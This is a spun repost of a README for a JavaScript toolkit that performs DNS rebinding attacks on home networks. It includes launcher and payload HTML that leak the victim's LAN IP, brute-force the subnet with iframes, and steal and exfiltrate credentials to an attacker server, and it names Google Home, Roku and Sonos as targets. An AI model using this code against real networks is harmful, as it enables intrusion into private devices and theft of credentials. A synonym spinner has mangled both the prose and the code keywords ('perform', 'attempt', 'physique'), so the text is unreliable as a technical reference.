DNS Rebind Toolkit – A Front-End JavaScript Toolkit For Creating DNS Rebinding Attacks

0
82
DNS Rebind Toolkit – A Front-End JavaScript Toolkit For Creating DNS Rebinding Attacks

DNS Rebind Toolkit is a frontend JavaScript framework for creating DNS Rebinding exploits towards susceptible hosts and companies on an area space community (LAN). It can be utilized to focus on units like Google Home, Roku, Sonos WiFi audio system, WiFi routers, “smart” thermostats, and different IoT units. With this toolkit, a distant attacker can bypass a router’s firewall and immediately work together with units on the sufferer’s residence community, exfiltrating non-public info and in some instances, even controlling the susceptible units themselves.

The assault requires a sufferer on the goal community to easily comply with a hyperlink, or be proven an HTML advert containing a malicious iframe. From their, the sufferer’s net browser is used like a proxy to immediately entry different hosts related to their residence community. These goal machines and companies would in any other case be unavailable to the attacker from the Internet. The distant attacker could not know what these companies are, or what IP addresses they occupy on the sufferer’s community, however DNS Rebind Toolkit handles this by brute forcing a whole bunch of seemingly IP addresses.

Under the hood, this instrument makes use of a public whonow DNS server working on rebind.community:53 to execute the DNS rebinding assault and idiot the sufferer’s net browser into violating the Same-origin policy. From their, it makes use of WebRTC to leak the sufferer’s non-public IP tackle, say 192.168.1.36. It makes use of the primary three octets of this native IP tackle to guess the community’s subnet after which inject 256 iframes, from 192.168.1.0-255 delivering a payload to every host that would probably be on the community subnet.
This toolkit can be utilized to develop and deploy your personal DNS rebinding assaults. Several actual-world assault payloads are included with this toolkit within the payloads/ listing. These payloads embody info exfiltration (and rickroll tom-foolery) assaults towards a couple of well-liked IoT units, together with Google Home and Roku merchandise.
This toolkit is the product of unbiased safety analysis into DNS Rebinding assaults. You can examine that unique analysis here.

Getting Started

# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# set up dependencies
npm set up

# run the server utilizing root to supply entry to privileged port 80 
# this script serves recordsdata from the www/, /examples, /share, and /payloads directories
sudo node server

By default, server.js serves payloads concentrating on Google Home, Roku, Sonos audio system, Phillips Hue gentle bulbs and Radio Thermostat units working their companies on ports 8008, 8060, 1400, 80 and 80 respectively. If you’ve got obtained considered one of these units on your property community, navigate to http://rebind.network for a pleasant shock ;). Open the developer’s console and watch as these companies are harmlessly exploited inflicting information to be stolen from them and exfiltrated to server.js.

API and Usage
This toolkit supplies two JavaScript objects that can be utilized collectively to create DNS rebinding assaults:

  • DNSRebindAttack: This object is used to launch an assault towards a susceptible service working on a recognized port. It spawns one payload for every IP tackle you select to focus on. DNSRebindAttack objects are used to create, handle, and talk with a number of DNSRebindNode objects. Each payload launched by DNSRebindAttack should comprise a DNSRebindNode object.
  • DNSRebindNode: This static class object ought to be included in every HTML payload file. It is used to focus on one service working on one host. It can talk with the DNSRebindAttack object that spawned it and it has helper features to execute the DNS rebinding assault (utilizing DNSRebindNode.rebind(...)) in addition to exfiltrate information found through the assault to server.js (DNSRebindNode.exfiltrate(...)).

These two scripts are used collectively to execute an assault towards unknown hosts on a firewall protected LAN. A primary assault appears like this:

  1. Attacker sends sufferer a hyperlink to a malicious HTML web page that launches the assault: e.g. http://instance.com/launcher.html. launcher.html comprises an occasion of DNSRebindAttack.
  2. The sufferer follows the attacker’s hyperlink, or visits a web page the place http://instance.com/launcher.html is embedded as an iframe. This causes the DNSRebindAttack on launcher.html to start the assault.
  3. DNSRebindAttack makes use of a WebRTC leak to discover the native IP tackle of the sufferer machine (e.g. 192.168.10.84). The attacker makes use of this info to decide on a variety of IP addresses to focus on on the sufferer’s LAN (e.g. 192.168.10.0-255).
  4. launcher.html launches the DNS rebinding assault (utilizing DNSRebindAttack.assault(...)) towards a variety of IP addresses on the sufferer’s subnet, concentrating on a single service (e.g. the undocumented Google Home REST API accessible on port 8008).
  5. At an interval outlined by the consumer (200 milliseconds by default), DNSRebindAttack embeds one iframe containing payload.html into the launcher.html web page. Each iframe comprises one DNSRebindNode object that executes an assault towards port 8008 of a single host outlined within the vary of IP addresses being attacked. This injection course of continues till an iframe has been injected for every IP tackle that’s being focused by the assault.
  6. Each injected payload.html file makes use of DNSRebindNode to try a rebind assault by speaking with a whonow DNS server. If it succeeds, similar-origin coverage is violated and payload.html can talk with the Google Home product immediately. Usually payload.html shall be written in such a approach that it makes a couple of API calls to the goal machine and exfiltrates the outcomes to server.js working on instance.com earlier than ending the assault and destroying itself.

Note, if a consumer has one Google Home machine on their community with an unknown IP tackle and an assault is launched towards your complete 192.168.1.0/24 subnet, then one DNSRebindNode‘s rebind assault shall be profitable and 254 will fail.

Examples
An assault consists of three coordinated scripts and recordsdata:

  • An HTML file containing an occasion of DNSRebindAttack (e.g. launcher.html)
  • An HTML file containing the assault payload (e.g. payload.html). This file is embedded into launcher.html by DNSRebindAttack for every IP tackle being targetted.
  • A DNS Rebinding Toolkit server (server.js) to ship the above recordsdata and exfiltrate information if want be.

launcher.html
Here is an instance HTML launcher file. You can discover the whole doc in examples/launcher.html.

<!DOCTYPE html>
<head>
 <title>Example launcher</title>
</head>
<physique>
    <!-- This script is a depency of DNSRebindAttack.js and have to be included -->
    <script kind="text/javascript" src="https://www.moretip.com/share/js/EventEmitter.js"></script>
    <!-- Include the DNS Rebind Attack object -->
    <script kind="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script kind="text/javascript">

    // DNSRebindAttack has a static technique that makes use of WebRTC to leak the
    // browser's IP tackle on the LAN. We'll use this to guess the LAN's IP
    // subnet. If the native IP is 192.168.1.89, we'll launch 255 iframes
    // targetting all IP addresses from 192.168.1.1-255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Looks like our nifty WebRTC leak trick did not work (does not work
        // in some browsers). No biggie, most residence networks are 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })
    
    perform launchRebindAttack(localIp) {
        
        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.finalIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
        
        // The first argument is the area title of a publicly accessible
        // whonow server (https://github.com/brannondorsey/whonow).
        // I've obtained one working on port 53 of rebind.community you'll be able to to make use of.
        // The companies you're attacking may not be working on port 80 so 
        // you'll most likely need to change that too.
        const rebind = new DNSRebindAttack('rebind.community', 80)

        // Launch a DNS Rebind assault, spawning 255 iframes attacking the service
        // on every host of the subnet (or so we hope).
        // Arguments are:
        //  1) goal ip addresses
        //  2) IP tackle your Node server.js is working on. Usually 127.0.0.1
        //     throughout dev, however then the publicly accessible IP (not hostname)
        //     of the VPS internet hosting this repo in manufacturing.
        //  3) the HTML payload to ship to this service. This HTML file ought to
        //     have a DNSRebindNode occasion applied on in it.
        //  4) the interval in milliseconds to attend between every new iframe
        //     embed. Spawning 100 iframes on the similar time can choke (or crash)
        //     a browser. The larger this worth, the longer the assault takes,
        //     however the much less sources it consumes.
        rebind.assault(ips, '127.0.0.1', 'examples/payload.html', 200)
        
        // rebind.nodes can be an EventEmitter, solely this one is fired utilizing
        // DNSRebindNode.emit(...). This permits DNSRebindNodes inside
        // iframes to publish messages again to the father or mother DNSRebindAttack that
        // launched them. You can outline custome occasions by merely emitting
        // DNSRebindNode.emit('my-customized-occasion') and a listener in rebind.nodes
        // can obtain it. That stated, there are a couple of commonplace occasion names that
        // get triggered automagically:
        //  - start: triggered when DNSRebindNode.js is loaded. This signifies
        //    that an assault has been launched (or at the least, it is payload was
        //    delivered) towards an IP tackle.
        //  - rebind: the DNS rebind was profitable, this node ought to now be
        //    speaking with the goal service.
        //  - exfiltrate: ship JSON information again to your Node server.js and save
        //    it inside the information/ folder.
        // Additionally, the DNSRebindNode.destroy() static technique
        // will set off the 'destory' occasion and trigger DNSRebindAttack to
        // take away the iframe.

        rebind.nodes.on('start', (ip) => {
            // the DNSRebindNode has been loaded, attacking ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // the rebind was profitable
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, information) => {
            // JSON information was exfiltrated and saved to the information/
            // folder on the distant machine internet hosting server.js
            
            console.log('node exfiltrate', ip, information)
            
            // information = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</physique>
</html>

payload.html
Here is an instance HTML payload file. You can discover the whole doc in examples/payload.html.

<!DOCTYPE html>
<html>
<head>
    <title>Example Payload</title>
</head>
<physique>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
assault and talk with the DNSRebindAttack occasion in instance-launcher.html
-->
<script kind="text/javascript" src="https://www.moretip.com/share/js/DNSRebindNode.js"></script>
<script kind="text/javascript">

    assault()
    .then(() => {},
          err => {
              // there was an error in some unspecified time in the future through the assault
              console.error(err)
              DNSRebindNode.emit('deadly', err.message)
          }
    ) // take away this iframe by calling destroy()
    .then(() => DNSRebindNode.destroy())

    // launches the assault and returns a promise that's resolved if the goal
    // service is discovered and appropriately exploited, or extra seemingly, rejected as a result of
    // this host does not exist, the goal service is not working, or one thing
    // went unsuitable with the exploit. Remember that this assault is being launched
    // towards 255+ IP addresses, so most of them will not succeed.
    async perform assault() {

        // DNSRebindNode has some default fetch choices that specify issues
        // like no caching, and many others. You can re-use them for comfort, or ignore
        // them and create your personal choices object for every fetch() request.
        // Here are their default values:
        // {
        //     technique: "GET",
        //     headers: {
        //         // this does not work in all browsers. For occasion,
        //         // Firefox does not allow you to do that.
        //         "Origin": "", // unset the origin header
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        attempt {
            // In this instance, we'll fake we're attacking some service with
            // an /auth.json file with username/password sitting in plaintext.
            // Before we swipe these creds, we have to first carry out the rebind
            // assault. Most seemingly, our webserver will cache the DNS outcomes
            // for this web page's host. DNSRebindNode.rebind(...) recursively
            // re-makes an attempt to rebind the host with a brand new, goal IP tackle.
            // This can take over a minute, and whether it is unsuccessful the
            // promise is rejected.
            const opts = {
                // these choices get handed to the DNS rebind fetch request
                fetchOptions: getOptions,
                // by default, DNSRebindNode.rebind() is taken into account profitable
                // if it receives an HTTP 200 OK response from the goal service.
                // However, you'll be able to outline any type of "rebind success" state of affairs
                // your self with the successPredicate(...) perform. This
                // perform receives a fetch end result as a parameter and the return
                // worth determines if the rebind was profitable (i.e. you're
                // speaking with the goal server). Here we test to see
                // if the fetchResult was despatched by our instance susceptible server. 
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // await the rebind. Can take as much as over a minute relying on the 
            // sufferer's DNS cache settings or if there isn't a host listening on
            // the opposite facet.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // whoops, the rebind failed. Either the browser's DNS cache was
            // by no means cleared, or extra seemingly, this service is not working on the
            // goal host. Oh effectively... Bubble up the rejection and have our
            // assault()'s rejection handler deal w/ it.
            return Promise.reject(err)
        }

        attempt {
            // alrighty, now that we have rebound the host and are speaking
            // with the goal service, let's seize the credentials
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // nice, now let's exfiltrate these creds to the Node.js server
            // working this entire shebang. That's the very last thing we care about,
            // so we are going to simply return this promise as the results of assault()
            // and let its handler's take care of it.
            //
            // NOTE: the second argument to exfiltrate(...) have to be JSON
            // serializable.
            return DNSRebindNode.exfiltrate('auth-instance', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</physique>
</html>

server.js
This script is used to ship the launcher.html and payload.html recordsdata, in addition to obtain and save exifltrated information from the DNSRebindNode to the information/ folder. For growth, I often run this server on localhost and level DNSRebindAttack.assault(...) in the direction of 127.0.0.1. For manufacturing, I run the server on a VPS cloud server and level DNSRebindAttack.assault(...) to its public IP tackle.

# run with admin privileged in order that it could possibly open port 80.
sudo node server
utilization: server [-h] [-v] [-p PORT]

DNS Rebind Toolkit server

Optional arguments:
  -h, --help            Show this assist message and exit.
  -v, --version         Show program's model quantity and exit.
  -p PORT, --port PORT  Which ports to bind the servers on. May embody 
                        a number of like: --port 80 --port 1337 (default: -p 80 
                        -p 8008 -p 8060 -p 1337)

More Examples
I’ve included an instance susceptible server in examples/susceptible-server.js. This susceptible service MUST be run from one other machine in your community, because it’s port MUST match the identical port as server.js. To run this instance assault your self, do the next:

Secondary Computer

# clone the repo 
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# launch the susceptible server
node examples/susceptible-server
# ...
# susceptible server is listening on 3000

Primary Computer

node server --port 3000

Now, navigate your browser to http://localhost:3000/launcher.html and open a dev console. Wait a minute or two, if the assault labored you must see some dumped credz from the susceptible server working on the secondary laptop.
Check out the examples/ and payloads/ directories for extra examples.

Files and Directories

  • server.js: The DNS Rebind Toolkit server
  • payloads/: Several HTML payload recordsdata hand-crafted to focus on a couple of susceptible IoT units. Includes assaults towards Google Home, Roku, and Radio Thermostat for now. I might like to see extra payloads added to this repo sooner or later (PRs welcome!)
  • examples/: Example utilization recordsdata.
  • information/: Directory the place information exfiltrated by DNSRebindNode.exfiltrate(...) is saved.
  • share/: Directory of JavaScript recordsdata shared by a number of HTML recordsdata in examples/ and payload/.

This toolkit was developed to be a useful gizmo for researchers and penetration testers. If you’d prefer to see a few of the analysis that led to it is creation, try this post. If you write a payload for one more service, take into account making a PR to this repository in order that others can profit out of your work!

MoreTip.com

LEAVE A REPLY

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.